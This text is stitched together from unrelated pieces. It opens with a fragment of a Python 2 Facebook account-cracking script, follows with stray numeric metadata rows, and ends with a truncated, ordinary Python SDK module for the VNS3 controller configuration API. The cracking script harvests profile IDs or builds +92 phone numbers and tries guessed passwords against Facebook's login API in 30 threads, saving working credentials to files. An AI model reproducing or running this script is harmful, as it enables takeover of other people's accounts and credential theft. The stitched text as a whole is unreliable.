= raw_input(" Password: ") pass3 = raw_input(" Password: ") idt = raw_input(" Input id: ") try: r = requests.get("https://graph.facebook.com/"+idt+"?access_token="+token) q = json.loads(r.text) os.system('clear') print(logo) print('') print('\Choice pass cracking') print('') print(" Cloning from: "+q["name"]) except KeyError: print("\tInvalid id link") print("") raw_input(" Press enter to back") choice() r = requests.get("https://graph.facebook.com/"+idt+"/subscribers?access_token="+token+"&limit=999999") z = json.loads(r.text) for i in z["data"]: uid = i["id"] na = i["name"] nm = na.rsplit(" ")[0] id.append(uid+"|"+nm) elif select =="0": menu() else: print("") print("\tSelect valid option\033[0;97m") print("") choice_select() os.system('echo -e "-❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥"| lolcat') print(" \x1b[1;92m Total IDs : "+str(len(id))) print(" \x1b[1;90m The Process has started") print(" \x1b[1;91m Press ctrl + z to stop") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥"| lolcat') print("") def main(arg): user=arg uid,name=user.split("|") ranagent = random.choice(agents) session = requests.Session() session.headers.update({'User-Agent': ranagent}) try: data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+pass1+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: print(" \033[1;32m [HARI OK] "+uid+" | "+pass1+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(uid+"|"+pass1+"\n") ok.close() oks.append(uid+pass1) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+uid+" | "+pass1+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(uid+"|"+pass1+"\n") cp.close() cps.append(uid+pass1) else: data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+pass2+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: print(" \033[1;32m [TOOr OK] "+uid+" | "+pass2+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(uid+"|"+pass2+"\n") ok.close() oks.append(uid+pass2) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+uid+" | "+pass2+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(uid+"|"+pass2+"\n") cp.close() cps.append(uid+pass2) else: data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+uid+"&password="+pass3+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=header).text q = json.loads(data) if "access_token" in q: print(" \033[1;32m [TOOr OK] "+uid+" | "+pass3+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(uid+"|"+pass3+"\n") ok.close() oks.append(uid+pass3) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+uid+" | "+pass3+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(uid+"|"+pass3+"\n") cp.close() cps.append(uid+pass3) except: pass p = ThreadPool(30) p.map(main, id) print("") print("") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print(" \x1b[1;91mThe process has been completed") print(" \x1b[1;92m Total Ok/Cp: "+str(len(oks))+"/"+str(len(cps))) os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print("") print(" Har Cloning k Bad Termux ko Exit krna zaroori hai") raw_input(" Press enter to back ") choice() def ran(): id=[] cps=[] oks=[] os.system("clear") print(logo) print("") print("\tRandom number cloning") print("") co = raw_input(" Enter number: ") k = "+92" try: file = ".txt" for line in open(file, "r").readlines(): id.append(line.strip()) except: exit(" An error has occured") print(" Total numbers: "+str(len(id))) print(" The process has started") print(" Press ctrl + z to stop") print(' ') print(47*"-") print('') print("") def main(arg): user=arg ranagent = random.choice(agents) session = requests.Session() session.headers.update({'User-Agent': ranagent}) try: pass1 = "786786" data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+k+co+user+"&password="+pass1+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true").text q = json.loads(data) if "access_token" in q: print(" \033[1;32m[TOOr OK] "+k+co+user+" | "+q["uid"]+" | "+pass1+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(k+co+user+"|"+pass1+"\n") ok.close() oks.append(uid+pass1) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+k+co+user+" | "+pass1+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(k+co+user+"|"+pass1+"\n") cp.close() cps.append(k+co+user+pass1) else: pass2 = user data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+k+co+user+"&password="+pass2+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true").text q = json.loads(data) if "access_token" in q: print(" \033[1;32m[TOOr OK] "+k+co+user+" | "+q["uid"]+" | "+pass2+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(k+co+user+"|"+pass2+"\n") ok.close() oks.append(k+co+user+pass2) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+uid+" | "+pass2+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(k+co+user+"|"+pass2+"\n") cp.close() cps.append(k+co+user+pass2) else: pass3 = k+co+user data = session.get("https://b-api.facebook.com/method/auth.login?format=json&email="+k+co+user+"&password="+pass3+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20&currently_logged_in_userid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true").text q = json.loads(data) if "access_token" in q: print(" \033[1;32m[TOOr OK] "+k+co+user+" | "+q["uid"]+" | "+pass1+"\033[0;97m") ok = open("HARIok.txt", "a") ok.write(k+co+user+"|"+pass3+"\n") ok.close() oks.append(k+co+user+pass3) else: if "www.facebook.com" in q["error_msg"]: print(" \033[1;33m [Nazir CP] "+k+co+user+" | "+pass3+"\033[0;97m") cp = open("HARIcp.txt", "a") cp.write(k+co+user+"|"+pass3+"\n") cp.close() cps.append(k+co+user+pass3) except: pass p = ThreadPool(30) p.map(main, id) print("") print("") os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print(" \x1b[1;91mThe process has been completed") print(" \x1b[1;92m Total Ok/Cp: "+str(len(oks))+"/"+str(len(cps))) os.system('echo -e "❥━──➸➽❥❂❥━──➸➽❥━──➸➽❥❂❥━──➸➽"| lolcat') print("") print(" Har Cloning k baad ek baar termux exit krna zaroori hai ") raw_input(" Press enter to back ") main() if __name__ == '__main__': main()
64.962488
859
0.674442
11,505
65,807
3.87362
0.08605
0.013598
0.058161
0.071153
0.842077
0.824866
0.811695
0.794956
0.767109
0.745546
0
0.167176
0.134013
65,807
1,012
860
65.02668
0.601846
0.000623
0
0.501496
0
0.373878
0.772395
0.12428
0
0
0
0
0
1
0.015952
false
0.111665
0.003988
0
0.01994
0.181456
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
9
dd38c92111163e8e138ea860c32a0b30b133af1f
39,428
py
Python
cohesivenet/api/vns3/configuration_api.py
cohesive/python-cohesivenet-sdk
5620acfa669ff97c94d9aa04a16facda37d648c1
[ "MIT" ]
null
null
null
cohesivenet/api/vns3/configuration_api.py
cohesive/python-cohesivenet-sdk
5620acfa669ff97c94d9aa04a16facda37d648c1
[ "MIT" ]
null
null
null
cohesivenet/api/vns3/configuration_api.py
cohesive/python-cohesivenet-sdk
5620acfa669ff97c94d9aa04a16facda37d648c1
[ "MIT" ]
null
null
null
# coding: utf-8 """ VNS3 Controller API Cohesive networks VNS3 API providing complete control of your network's addresses, routes, rules and edge # noqa: E501 The version of the OpenAPI document: 4.8 Contact: solutions@cohesive.net Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import re # noqa: F401 import urllib3.exceptions from cohesivenet import Logger from cohesivenet.api_builder import VersionRouter from cohesivenet.exceptions import ApiException def get_config(api_client, **kwargs): # noqa: E501 """get_config # noqa: E501 Describe Runtime Configuration for VNS3 Controller # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_config(async_req=True) :param VNS3Client api_client: (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/config", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_keyset(api_client, **kwargs): # noqa: E501 """get_keyset # noqa: E501 Returns status of whether cryptographic credentials, which are used to provide overlay devices access to the topology, have been generated. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_keyset(async_req=True) :param VNS3Client api_client: (required) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/keyset", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_ssl_install_status(api_client, uuid, **kwargs): # noqa: E501 """get_ssl_install_status # noqa: E501 Get status for ssl installation task # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_ssl_install_status(uuid, async_req=True) :param VNS3Client api_client: (required) :param str uuid: uuid of resource (required) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {"uuid": uuid} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/system/ssl/install/{uuid}", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_config( api_client, topology_name=None, controller_name=None, ntp_hosts=None, **kwargs ): # noqa: E501 """put_config # noqa: E501 Provides general information about the manager's topology, license state and checksums and allows you to set the topology name. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_config(update_config_request, async_req=True) :param VNS3Client api_client: (required) :param topology_name str: Specifies a name to display at the top of the web ui and in the desc_config API response :param controller_name str: Specifies a name for this controller :param ntp_hosts str: Single or space separated list of ntp server IPs or dns names. Overwrites existing NTP configuration. :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["topology_name", "controller_name", "ntp_hosts"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/config", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_install_ssl_keypair(api_client, **kwargs): # noqa: E501 """put_install_ssl_keypair # noqa: E501 Install new SSL cert and key pair # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_install_ssl_keypair(async_req=True) :param VNS3Client api_client: (required) :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/system/ssl/install", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_keyset( api_client, token=None, source=None, topology_name=None, sealed_network=None, **kwargs ): # noqa: E501 """put_keyset # noqa: E501 Generates or fetches cryptographic credentials which are used to provide overlay devices access to the topology. Keyset generation happens in background. Poll on GET /keyset in_progress value. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_keyset(token="secrettoken", async_req=True) :param VNS3Client api_client: (required) :param token str: Arbitrary key used to help randomize the checksum, it must be identical for each manager in a topology (required) :param source str: If provided, fetches keyset from source manager :param topology_name str: Name for the topology :param sealed_network bool: True if not public accessible network :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["token", "source", "topology_name", "sealed_network"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/keyset", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_update_admin_ui( api_client, enabled=None, admin_username=None, admin_password=None, **kwargs ): # noqa: E501 """put_update_admin_ui # noqa: E501 Update Admin UI settings. Enable/Disable and set credentials. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_update_admin_ui(enabled=True, admin_password="my-secret-ps", async_req=True) :param VNS3Client api_client: (required) :param enabled bool: True to enable admin UI @ port 8000 :param admin_username str: username for UI :param admin_password str: set password for UI :param async_req bool: execute request asynchronously :param _return_http_data_only: response data without head status code and headers :param _preload_content: if Falseput_update_admin_ui, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["enabled", "admin_username", "admin_password"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/admin_ui", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_update_api_password(api_client, password=None, **kwargs): # noqa: E501 """put_update_api_password # noqa: E501 Allows you to change the API password/secret key. To change the Web UI password (or username) use PUT admin_ui. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_update_api_password(new_password, async_req=True) :param VNS3Client api_client: (required) :param async_req bool: execute request asynchronously :param password str: set API password :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["password"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/api_password", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_ssl_certs(api_client, **kwargs): """get_ssl_certs # noqa: E501 Get SSL certificate information asynchronous HTTP request, please pass async_req=True >>> response = await api.get_ssl_certs(async_req=True) :param VNS3Client api_client: (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/system/ssl", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def put_upload_ssl_keypair(api_client, cert=None, key=None, **kwargs): # noqa: E501 """put_upload_ssl_keypair # noqa: E501 Upload new SSL cert and key pair # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.put_upload_ssl_keypair(update_server_ssl_request, async_req=True) :param VNS3Client api_client: (required) :param cert str: SSL certificate :param key str: SSL key :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["cert", "key"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/system/ssl/keypair", "PUT", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_send_test_ms_alert(api_client, **kwargs): # noqa: E501 """post_send_test_ms_alert # noqa: E501 Send test alert to VNS3:ms # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_send_test_ms_alert(update_server_ssl_request, async_req=True) :param VNS3Client api_client: (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = [] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/ms/alert/test", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def get_ms_config(api_client, **kwargs): # noqa: E501 """get_ms_config # noqa: E501 Get MS configuration # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.get_ms_config(async_req=True) :param VNS3Client api_client: (required) :param async_req bool: execute request asynchronously :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/ms", "GET", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def post_set_ms_config(api_client, ip=None, **kwargs): # noqa: E501 """post_set_ms_config # noqa: E501 Set MS for controller # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.post_set_ms_config(update_server_ssl_request, async_req=True) :param VNS3Client api_client: (required) :param ip str: VNS3 Management system endpoint IP address (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["ip"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` header_params["Accept"] = api_client.select_header_accept( ["application/json"] ) # noqa: E501 # HTTP header `Content-Type` header_params["Content-Type"] = api_client.select_header_content_type( # noqa: E501 ["application/json"] ) # noqa: E501 # Authentication setting auth_settings = ["ApiTokenAuth", "basicAuth"] # noqa: E501 return api_client.call_api( "/ms", "POST", path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type="object", # noqa: E501 auth_settings=auth_settings, async_req=local_var_params.get("async_req"), _return_http_data_only=local_var_params.get( "_return_http_data_only" ), # noqa: E501 _preload_content=local_var_params.get("_preload_content", True), _request_timeout=local_var_params.get("_request_timeout"), collection_formats=collection_formats, ) def update_ms_config(api_client, ip=None, alert_enabled=True, **kwargs): # noqa: E501 """update_ms_config # noqa: E501 Set MS config for controller # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> response = await api.update_ms_config(update_server_ssl_request, async_req=True) :param VNS3Client api_client: (required) :param ip str: VNS3 Management system endpoint IP address :param alert_enabled bool: Disable/Enable sending alerts to VNS3:ms (required) :param _return_http_data_only: response data without head status code and headers :param _preload_content: if False, the urllib3.HTTPResponse object will be returned without reading/decoding response data. Default is True. :param _request_timeout: timeout setting for this request. If one number provided, it will be total request timeout. It can also be a pair (tuple) of (connection, read) timeouts. :return: APIResponse or awaitable if async """ local_var_params = locals() request_params = ["ip", "alert_enabled"] collection_formats = {} path_params = {} query_params = [] header_params = {} form_params = [] local_var_files = {} body_params = {} for param in [p for p in request_params if local_var_params.get(p) is not None]: body_params[param] = local_var_params[param] # HTTP header `Accept` 